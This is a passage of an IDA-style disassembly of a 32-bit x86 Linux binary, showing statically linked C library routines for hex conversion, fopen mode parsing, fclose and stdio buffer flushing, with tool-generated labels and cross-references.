		test	byte ptr [eax+edx*2+1],	10h
		jz	short loc_8060B4C
		push	edx
		call	sub_8060AE8
		mov	[ebp+var_4], al
		mov	dl, [ebx]
		add	esp, 4
		inc	ebx
		test	dl, dl
		jz	short loc_8060B4C
		movzx	eax, dl
		mov	edx, dword_8078FA8
		movzx	edx, byte ptr [edx+eax*4]
		mov	eax, dword_8078FA0
		test	byte ptr [eax+edx*2+1],	10h
		jz	short loc_8060B4C
		push	edx
		call	sub_8060AE8
		mov	dl, al
		mov	al, [ebp+var_4]
		shl	al, 4
		or	al, dl
		mov	[edi], al
		inc	edi
		inc	esi
		add	esp, 4

loc_8060BBF:				; CODE XREF: sub_8060B14+11j
					; sub_8060B14+24j ...
		mov	dl, [ebx]
		inc	ebx
		test	dl, dl
		jnz	loc_8060B2C

loc_8060BCA:				; CODE XREF: sub_8060B14+1Bj
		mov	eax, esi

loc_8060BCC:				; CODE XREF: sub_8060B14+3Aj
		lea	esp, [ebp+var_14]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_8060B14	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_8060BD8	proc near		; CODE XREF: sub_805F7E4+5EBp

var_14		= byte ptr -14h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	edi
		push	esi
		push	ebx
		mov	esi, [ebp+arg_4]
		mov	edx, [ebp+arg_8]
		test	edx, edx
		jz	short loc_8060BF0
		mov	[ebp+var_4], edx
		jmp	short loc_8060BFC
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8060BF0:				; CODE XREF: sub_8060BD8+11j
		mov	edx, offset unk_807E450
		mov	[ebp+var_4], offset unk_807E450

loc_8060BFC:				; CODE XREF: sub_8060BD8+16j
		cmp	[ebp+arg_0], 0FFh
		jle	short loc_8060C0C
		mov	[ebp+arg_0], 0FFh

loc_8060C0C:				; CODE XREF: sub_8060BD8+2Bj
		xor	ebx, ebx
		cmp	[ebp+arg_0], ebx
		jle	loc_8060D13
		mov	edi, [ebp+arg_0]
		test	edi, 1
		jz	short loc_8060C70
		mov	al, [esi]
		shr	al, 4
		and	eax, 0FFh
		mov	ecx, edx
		inc	edx
		cmp	eax, 9
		jg	short loc_8060C38
		add	al, 30h
		jmp	short loc_8060C3A
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8060C38:				; CODE XREF: sub_8060BD8+5Aj
		add	al, 37h

loc_8060C3A:				; CODE XREF: sub_8060BD8+5Ej
		mov	[ecx], al
		mov	al, [esi]
		and	eax, 0Fh
		inc	esi
		mov	ecx, edx
		inc	edx
		cmp	eax, 9
		jg	short loc_8060C50
		add	al, 30h
		jmp	short loc_8060C52
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8060C50:				; CODE XREF: sub_8060BD8+70j
		add	al, 37h

loc_8060C52:				; CODE XREF: sub_8060BD8+74j
		mov	[ecx], al
		test	bl, 1
		jnz	short loc_8060C65
		lea	eax, [ebx+1]
		cmp	[ebp+arg_0], eax
		jle	short loc_8060C65
		mov	byte ptr [edx],	2Eh
		inc	edx

loc_8060C65:				; CODE XREF: sub_8060BD8+7Fj
					; sub_8060BD8+87j
		inc	ebx
		cmp	[ebp+arg_0], ebx
		jle	loc_8060D13
		nop

loc_8060C70:				; CODE XREF: sub_8060BD8+48j
					; sub_8060BD8+135j
		mov	al, [esi]
		shr	al, 4
		and	eax, 0FFh
		mov	ecx, edx
		inc	edx
		cmp	eax, 9
		jg	short loc_8060C88
		add	al, 30h
		jmp	short loc_8060C8A
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8060C88:				; CODE XREF: sub_8060BD8+A8j
		add	al, 37h

loc_8060C8A:				; CODE XREF: sub_8060BD8+ACj
		mov	[ecx], al
		mov	al, [esi]
		and	eax, 0Fh
		inc	esi
		mov	ecx, edx
		inc	edx
		cmp	eax, 9
		jg	short loc_8060CA0
		add	al, 30h
		jmp	short loc_8060CA2
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8060CA0:				; CODE XREF: sub_8060BD8+C0j
		add	al, 37h

loc_8060CA2:				; CODE XREF: sub_8060BD8+C4j
		mov	[ecx], al
		test	bl, 1
		jnz	short loc_8060CB5
		lea	eax, [ebx+1]
		cmp	[ebp+arg_0], eax
		jle	short loc_8060CB5
		mov	byte ptr [edx],	2Eh
		inc	edx

loc_8060CB5:				; CODE XREF: sub_8060BD8+CFj
					; sub_8060BD8+D7j
		lea	edi, [ebx+1]
		mov	[ebp+var_8], edi
		mov	al, [esi]
		shr	al, 4
		and	eax, 0FFh
		mov	ecx, edx
		inc	edx
		cmp	eax, 9
		jg	short loc_8060CD4
		add	al, 30h
		jmp	short loc_8060CD6
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8060CD4:				; CODE XREF: sub_8060BD8+F3j
		add	al, 37h

loc_8060CD6:				; CODE XREF: sub_8060BD8+F7j
		mov	[ecx], al
		mov	al, [esi]
		and	eax, 0Fh
		inc	esi
		mov	ecx, edx
		inc	edx
		cmp	eax, 9
		jg	short loc_8060CEC
		add	al, 30h
		jmp	short loc_8060CEE
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8060CEC:				; CODE XREF: sub_8060BD8+10Cj
		add	al, 37h

loc_8060CEE:				; CODE XREF: sub_8060BD8+110j
		mov	[ecx], al
		mov	edi, [ebp+var_8]
		test	edi, 1
		jnz	short loc_8060D07
		mov	eax, edi
		inc	eax
		cmp	[ebp+arg_0], eax
		jle	short loc_8060D07
		mov	byte ptr [edx],	2Eh
		inc	edx

loc_8060D07:				; CODE XREF: sub_8060BD8+121j
					; sub_8060BD8+129j
		add	ebx, 2
		cmp	[ebp+arg_0], ebx
		jg	loc_8060C70

loc_8060D13:				; CODE XREF: sub_8060BD8+39j
					; sub_8060BD8+91j
		mov	byte ptr [edx],	0
		mov	eax, [ebp+var_4]
		lea	esp, [ebp+var_14]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_8060BD8	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_8060D24	proc near		; CODE XREF: fopen+30p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		mov	dword ptr [eax+40h], 0FFFFFFFFh
		or	dword ptr [eax], 240Ch
		push	eax
		call	sub_80617C4
		mov	esp, ebp
		pop	ebp
		retn
sub_8060D24	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_8060D44	proc near		; CODE XREF: fclose+33p

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	ebx, [ebp+arg_0]
		cmp	dword ptr [ebx+38h], 0
		jge	short loc_8060D5C
		mov	eax, 0FFFFFFFFh
		jmp	short loc_8060DD0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8060D5C:				; CODE XREF: sub_8060D44+Dj
		push	ebx
		call	sub_8061210
		mov	edi, eax
		push	ebx
		call	sub_8062368
		mov	eax, [ebx+50h]
		push	ebx
		mov	eax, [eax+84h]
		call	eax
		mov	esi, eax
		push	0
		push	0
		push	0
		push	ebx
		call	sub_8061B6C
		mov	dword ptr [ebx+0Ch], 0
		mov	dword ptr [ebx+4], 0
		mov	dword ptr [ebx+8], 0
		mov	dword ptr [ebx+14h], 0
		mov	dword ptr [ebx+10h], 0
		mov	dword ptr [ebx+18h], 0
		push	ebx
		call	sub_8061788
		mov	dword ptr [ebx], 0FBAD240Ch
		mov	dword ptr [ebx+38h], 0FFFFFFFFh
		mov	dword ptr [ebx+40h], 0FFFFFFFFh
		mov	eax, esi
		test	eax, eax
		jnz	short loc_8060DD0
		mov	eax, edi

loc_8060DD0:				; CODE XREF: sub_8060D44+14j
					; sub_8060D44+88j
		lea	esp, [ebp+var_C]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_8060D44	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_8060DDC	proc near

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_0]
		cmp	dword ptr [ebx+38h], 0
		jl	short loc_8060E11
		mov	eax, [ebx+14h]
		sub	eax, [ebx+10h]
		push	eax
		mov	eax, [ebx+10h]
		push	eax
		push	ebx
		call	sub_8060FA8
		add	esp, 0Ch
		test	byte ptr [ebx],	40h
		jnz	short loc_8060E11
		mov	eax, [ebx+50h]
		push	ebx
		mov	eax, [eax+84h]
		call	eax
		add	esp, 4

loc_8060E11:				; CODE XREF: sub_8060DDC+Bj
					; sub_8060DDC+24j
		push	ebx
		call	sub_8061FC0
		mov	ebx, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_8060DDC	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_8060E20	proc near		; CODE XREF: fopen+38p

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	esi, [ebp+arg_0]
		mov	edi, [ebp+arg_4]
		mov	edx, [ebp+arg_8]
		xor	ecx, ecx
		cmp	dword ptr [esi+38h], 0
		jge	short loc_8060E92
		movzx	eax, byte ptr [edx]
		inc	edx
		cmp	eax, 72h
		jz	short loc_8060E54
		jg	short loc_8060E4C
		cmp	eax, 61h
		jz	short loc_8060E74
		jmp	short loc_8060E88
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8060E4C:				; CODE XREF: sub_8060E20+20j
		cmp	eax, 77h
		jz	short loc_8060E60
		jmp	short loc_8060E88
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8060E54:				; CODE XREF: sub_8060E20+1Ej
		xor	eax, eax
		mov	ebx, 8
		jmp	short loc_8060E98
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8060E60:				; CODE XREF: sub_8060E20+2Fj
		mov	eax, 1
		mov	ecx, 240h
		mov	ebx, 4
		jmp	short loc_8060E98
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8060E74:				; CODE XREF: sub_8060E20+25j
		mov	eax, 1
		mov	ecx, 440h
		mov	ebx, 1004h
		jmp	short loc_8060E98
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8060E88:				; CODE XREF: sub_8060E20+27j
					; sub_8060E20+31j
		mov	__errno, 16h

loc_8060E92:				; CODE XREF: sub_8060E20+15j
					; sub_8060E20+A6j ...
		xor	eax, eax
		jmp	short loc_8060F03
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8060E98:				; CODE XREF: sub_8060E20+3Bj
					; sub_8060E20+4Fj ...
		cmp	byte ptr [edx],	2Bh
		jz	short loc_8060EA8
		cmp	byte ptr [edx],	62h
		jnz	short loc_8060EB3
		cmp	byte ptr [edx+1], 2Bh
		jnz	short loc_8060EB3

loc_8060EA8:				; CODE XREF: sub_8060E20+7Bj
		mov	eax, 2
		and	ebx, 1000h

loc_8060EB3:				; CODE XREF: sub_8060E20+80j
					; sub_8060E20+86j
		push	1B6h
		or	eax, ecx
		push	eax
		push	edi
		call	open
		add	esp, 0Ch
		test	eax, eax
		jl	short loc_8060E92
		mov	[esi+38h], eax
		mov	eax, [esi]
		and	eax, 0FFFFEFF3h
		or	eax, ebx
		mov	[esi], eax
		test	bh, 10h
		jz	short loc_8060EFB
		mov	eax, [esi+50h]
		push	3
		push	2
		push	0
		push	esi
		mov	eax, [eax+44h]
		call	eax
		add	esp, 10h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_8060EFB
		cmp	__errno, 1Dh
		jnz	short loc_8060E92

loc_8060EFB:				; CODE XREF: sub_8060E20+B9j
					; sub_8060E20+D0j
		push	esi
		call	sub_80617C4
		mov	eax, esi

loc_8060F03:				; CODE XREF: sub_8060E20+74j
		lea	esp, [ebp+var_C]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_8060E20	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_8060F10	proc near

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_0]
		mov	eax, [ebp+arg_4]
		cmp	dword ptr [ebx+38h], 0
		jge	short loc_8060F4D
		mov	[ebx+38h], eax
		and	dword ptr [ebx], 0FFFFFFF3h
		or	byte ptr [ebx],	40h
		mov	dword ptr [ebx+40h], 0FFFFFFFFh
		mov	eax, [ebx+50h]
		push	3
		push	1
		push	0
		push	ebx
		mov	eax, [eax+44h]
		call	eax
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_8060F54
		cmp	__errno, 1Dh
		jz	short loc_8060F54

loc_8060F4D:				; CODE XREF: sub_8060F10+Ej
		xor	eax, eax
		jmp	short loc_8060F56
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8060F54:				; CODE XREF: sub_8060F10+32j
					; sub_8060F10+3Bj
		mov	eax, ebx

loc_8060F56:				; CODE XREF: sub_8060F10+3Fj
		mov	ebx, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_8060F10	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_8060F60	proc near

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_0]
		mov	edx, [ebp+arg_4]
		mov	eax, [ebp+arg_8]
		push	eax
		push	edx
		push	ebx
		call	sub_8061E44
		test	eax, eax
		jz	short loc_8060F9C
		mov	eax, [ebx+1Ch]
		mov	[ebx+18h], eax
		mov	[ebx+14h], eax
		mov	[ebx+10h], eax
		mov	eax, [ebx+1Ch]
		mov	[ebx+0Ch], eax
		mov	eax, [ebx+1Ch]
		mov	[ebx+4], eax
		mov	eax, [ebx+1Ch]
		mov	[ebx+8], eax
		mov	eax, ebx
		jmp	short loc_8060F9E
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8060F9C:				; CODE XREF: sub_8060F60+17j
		xor	eax, eax

loc_8060F9E:				; CODE XREF: sub_8060F60+39j
		mov	ebx, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_8060F60	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_8060FA8	proc near		; CODE XREF: sub_8060DDC+19p
					; sub_8061118+89p ...

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebp+arg_8]
		test	esi, esi
		jnz	short loc_8060FC0
		xor	eax, eax
		jmp	loc_8061061
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8060FC0:				; CODE XREF: sub_8060FA8+Ej
		test	byte ptr [ebx+1], 10h
		jz	short loc_8060FD0
		mov	dword ptr [ebx+40h], 0FFFFFFFFh
		jmp	short loc_8060FF5
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8060FD0:				; CODE XREF: sub_8060FA8+1Cj
		mov	eax, [ebx+8]
		cmp	[ebx+10h], eax
		jz	short loc_8060FF5
		mov	eax, [ebx+50h]
		push	1
		mov	edx, [ebx+10h]
		sub	edx, [ebx+8]
		push	edx
		push	ebx
		mov	eax, [eax+7Ch]
		call	eax
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	short loc_806105C
		mov	[ebx+40h], eax

loc_8060FF5:				; CODE XREF: sub_8060FA8+25j
					; sub_8060FA8+2Ej
		mov	eax, [ebx+50h]
		push	esi
		mov	ecx, [ebp+arg_4]
		push	ecx
		push	ebx
		mov	eax, [eax+74h]
		call	eax
		mov	edi, eax
		add	esp, 0Ch
		cmp	word ptr [ebx+44h], 0
		jz	short loc_8061025
		push	esi
		mov	ecx, [ebp+arg_4]
		push	ecx
		movzx	eax, word ptr [ebx+44h]
		dec	eax
		push	eax
		call	sub_80620C8
		inc	ax
		mov	[ebx+44h], ax

loc_8061025:				; CODE XREF: sub_8060FA8+65j
		mov	eax, [ebx+1Ch]
		mov	[ebx+0Ch], eax
		mov	eax, [ebx+1Ch]
		mov	[ebx+4], eax
		mov	eax, [ebx+1Ch]
		mov	[ebx+8], eax
		mov	eax, [ebx+1Ch]
		mov	[ebx+14h], eax
		mov	[ebx+10h], eax
		test	dword ptr [ebx], 202h
		jz	short loc_8061050
		mov	eax, [ebx+1Ch]
		jmp	short loc_8061053
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8061050:				; CODE XREF: sub_8060FA8+9Ej
		mov	eax, [ebx+20h]

loc_8061053:				; CODE XREF: sub_8060FA8+A3j
		mov	[ebx+18h], eax
		xor	eax, eax
		cmp	edi, esi
		jz	short loc_8061061

loc_806105C:				; CODE XREF: sub_8060FA8+48j
		mov	eax, 0FFFFFFFFh

loc_8061061:				; CODE XREF: sub_8060FA8+12j
					; sub_8060FA8+B2j
		lea	esp, [ebp+var_C]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_8060FA8	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_806106C	proc near

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_0]
		test	byte ptr [ebx],	4
		jnz	short loc_80610F6
		mov	eax, [ebx+4]
		cmp	[ebx+8], eax
		ja	loc_806110C
		cmp	dword ptr [ebx+1Ch], 0
		jnz	short loc_8061093
		push	ebx
		call	sub_8061BB8
		add	esp, 4

loc_8061093:				; CODE XREF: sub_806106C+1Cj
		test	dword ptr [ebx], 202h
		jz	short loc_80610A0
		call	sub_80621D0

loc_80610A0:				; CODE XREF: sub_806106C+2Dj
		push	ebx
		call	sub_806186C
		mov	edx, [ebx+50h]
		mov	eax, [ebx+20h]
		sub	eax, [ebx+1Ch]
		push	eax
		mov	eax, [ebx+1Ch]
		push	eax
		push	ebx
		mov	eax, [edx+6Ch]
		call	eax
		mov	edx, eax
		test	edx, edx
		jg	short loc_80610D5
		jz	short loc_80610CB
		cmp	__errno, 0Bh
		jnz	short loc_80610D0

loc_80610CB:				; CODE XREF: sub_806106C+54j
		or	byte ptr [ebx],	10h
		jmp	short loc_80610D3
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_80610D0:				; CODE XREF: sub_806106C+5Dj
		or	byte ptr [ebx],	20h

loc_80610D3:				; CODE XREF: sub_806106C+62j
		xor	edx, edx

loc_80610D5:				; CODE XREF: sub_806106C+52j
		mov	eax, [ebx+1Ch]
		mov	[ebx+4], eax
		mov	[ebx+0Ch], eax
		mov	ecx, [ebx+1Ch]
		add	ecx, edx
		mov	[ebx+8], ecx
		mov	eax, [ebx+1Ch]
		mov	[ebx+18h], eax
		mov	[ebx+14h], eax
		mov	[ebx+10h], eax
		test	edx, edx
		jnz	short loc_8061100

loc_80610F6:				; CODE XREF: sub_806106C+Aj
		mov	eax, 0FFFFFFFFh
		jmp	short loc_806110F
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8061100:				; CODE XREF: sub_806106C+88j
		cmp	dword ptr [ebx+40h], 0FFFFFFFFh
		jz	short loc_8061109
		add	[ebx+40h], edx

loc_8061109:				; CODE XREF: sub_806106C+98j
		mov	eax, [ebx+4]

loc_806110C:				; CODE XREF: sub_806106C+12j
		movzx	eax, byte ptr [eax]

loc_806110F:				; CODE XREF: sub_806106C+8Fj
		mov	ebx, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_806106C	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_8061118	proc near

var_8		= byte ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		push	ebx
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebp+arg_4]
		test	byte ptr [ebx],	8
		jnz	loc_80611F6
		test	byte ptr [ebx+1], 8
		jnz	short loc_8061190
		cmp	dword ptr [ebx+10h], 0
		jnz	short loc_8061153
		push	ebx
		call	sub_8061BB8
		mov	eax, [ebx+1Ch]
		mov	[ebx+0Ch], eax
		mov	eax, [ebx+1Ch]
		mov	[ebx+4], eax
		mov	eax, [ebx+1Ch]
		mov	[ebx+8], eax
		add	esp, 4

loc_8061153:				; CODE XREF: sub_8061118+1Ej
		mov	eax, [ebx+4]
		cmp	[ebx+20h], eax
		jnz	short loc_8061164
		mov	eax, [ebx+1Ch]
		mov	[ebx+4], eax
		mov	[ebx+8], eax

loc_8061164:				; CODE XREF: sub_8061118+41j
		mov	eax, [ebx+4]
		mov	[ebx+14h], eax
		mov	[ebx+10h], eax
		mov	eax, [ebx+20h]
		mov	[ebx+18h], eax
		mov	eax, [ebx+8]
		mov	[ebx+4], eax
		mov	[ebx+0Ch], eax
		test	dword ptr [ebx], 202h
		jz	short loc_806118A
		mov	eax, [ebx+14h]
		mov	[ebx+18h], eax

loc_806118A:				; CODE XREF: sub_8061118+6Aj
		or	dword ptr [ebx], 800h

loc_8061190:				; CODE XREF: sub_8061118+18j
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_80611A8
		mov	eax, [ebx+14h]
		sub	eax, [ebx+10h]
		push	eax
		mov	eax, [ebx+10h]
		push	eax
		push	ebx
		call	sub_8060FA8
		jmp	short loc_8061205
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_80611A8:				; CODE XREF: sub_8061118+7Bj
		mov	eax, [ebx+14h]
		cmp	[ebx+20h], eax
		jnz	short loc_80611C6
		sub	eax, [ebx+10h]
		push	eax
		mov	eax, [ebx+10h]
		push	eax
		push	ebx
		call	sub_8060FA8
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	short loc_80611F6

loc_80611C6:				; CODE XREF: sub_8061118+96j
		mov	eax, [ebx+14h]
		mov	edx, esi
		mov	[eax], dl
		inc	dword ptr [ebx+14h]
		test	byte ptr [ebx],	2
		jnz	short loc_80611E0
		test	byte ptr [ebx+1], 2
		jz	short loc_8061200
		cmp	esi, 0Ah
		jnz	short loc_8061200

loc_80611E0:				; CODE XREF: sub_8061118+BBj
		mov	eax, [ebx+14h]
		sub	eax, [ebx+10h]
		push	eax
		mov	eax, [ebx+10h]
		push	eax
		push	ebx
		call	sub_8060FA8
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_8061200

loc_80611F6:				; CODE XREF: sub_8061118+Ej
					; sub_8061118+ACj
		mov	eax, 0FFFFFFFFh
		jmp	short loc_8061205
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8061200:				; CODE XREF: sub_8061118+C1j
					; sub_8061118+C6j ...
		mov	edx, esi
		movzx	eax, dl

loc_8061205:				; CODE XREF: sub_8061118+8Ej
					; sub_8061118+E3j
		lea	esp, [ebp+var_8]
		pop	ebx
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn
sub_8061118	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_8061210	proc near		; CODE XREF: sub_8060D44+19p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_0]
		mov	eax, [ebx+14h]
		cmp	[ebx+10h], eax
		jnb	short loc_8061234
		sub	eax, [ebx+10h]
		push	eax
		mov	eax, [ebx+10h]
		push	eax
		push	ebx
		call	sub_8060FA8
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_8061256

loc_8061234:				; CODE XREF: sub_8061210+Dj
		mov	edx, [ebx+4]
		sub	edx, [ebx+8]
		jz	short loc_8061266
		mov	eax, [ebx+50h]
		push	1
		push	edx
		push	ebx
		mov	eax, [eax+7Ch]
		call	eax
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_8061260
		cmp	__errno, 1Dh
		jz	short loc_8061266

loc_8061256:				; CODE XREF: sub_8061210+22j
		mov	eax, 0FFFFFFFFh
		jmp	short loc_806126F
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8061260:				; CODE XREF: sub_8061210+3Bj
		mov	eax, [ebx+4]
		mov	[ebx+8], eax

loc_8061266:				; CODE XREF: sub_8061210+2Aj
					; sub_8061210+44j
		mov	dword ptr [ebx+40h], 0FFFFFFFFh
		xor	eax, eax

loc_806126F:				; CODE XREF: sub_8061210+4Bj
		mov	ebx, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_8061210	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
